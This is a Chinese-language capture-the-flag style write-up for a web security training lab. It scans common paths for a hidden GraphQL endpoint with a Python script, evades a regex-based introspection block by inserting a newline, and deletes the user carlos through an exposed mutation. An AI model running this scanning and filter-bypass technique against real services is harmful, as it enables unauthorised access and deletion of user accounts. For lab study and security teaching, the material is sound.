实验:寻找隐藏的 GraphQL 端点
发布: (2026年1月14日 GMT+8 13:03)
3 min read
原文: Dev.to
Source: Dev.to
描述
本实验的用户管理功能由一个隐藏的 GraphQL 端点提供。仅通过在站点上点击页面是找不到该端点的。该端点还对 introspection(自省)做了一些防御。
要通过实验,需要找到隐藏的端点并删除 carlos。
问题分析
侦察
实验并未公开 GraphQL 端点(没有 /graphql、/graphiql 等)。我们需要尝试常见的路径。
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
利用
步骤 1:扫描隐藏的 GraphQL 端点
编写 Python 脚本来寻找端点。
import requests
BASE_URL = "https://0a0a00d00322650a805644e4006800a4.web-security-academy.net"
# Cookie lấy từ request /login
COOKIES = {
"session": "XHAvkzbOEaTNhOHFhW6sCjzHp1nRV6a1"
}
HEADERS = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
# Các endpoint hay gặp trong thực tế
COMMON_GRAPHQL_PATHS = [
"/api",
"/graphql",
"/api/graphql",
"/v1/graphql",
"/v2/graphql",
"/gql"
]
TEST_QUERY = "query{__typename}"
def is_graphql_endpoint(path):
url = BASE_URL + path
params = {"query": TEST_QUERY}
try:
r = requests.get(
url,
headers=HEADERS,
cookies=COOKIES,
params=params,
timeout=5
)
if r.status_code == 200 and "__typename" in r.text:
print(f"[+] GraphQL endpoint FOUND: {path}")
print(r.text)
return True
else:
print(f"[-] {path} -> Not GraphQL")
except Exception as e:
print(f"[!] {path} -> Error: {e}")
return False
if __name__ == "__main__":
print("[*] Scanning for hidden GraphQL endpoint...\n")
for path in COMMON_GRAPHQL_PATHS:
if is_graphql_endpoint(path):
break
找到的结果:

步骤 2:绕过 introspection 防御
尝试发送标准的 introspection 查询时,服务器使用简单的正则表达式阻止字符串 __schema{。GraphQL 会忽略空格和换行,但正则可能处理不佳,因此可以通过插入换行符来绕过。

使用 \n 绕过:

获取到 schema 后,我们看到一个危险的 mutation "name": "deleteOrganizationUser"。
接下来需要找出 carlos 的 id 以便删除:
query {
getUser(id: ...) {
id
username
}
}

提交
通过 deleteOrganizationUser mutation 删除 carlos 账户。

完成!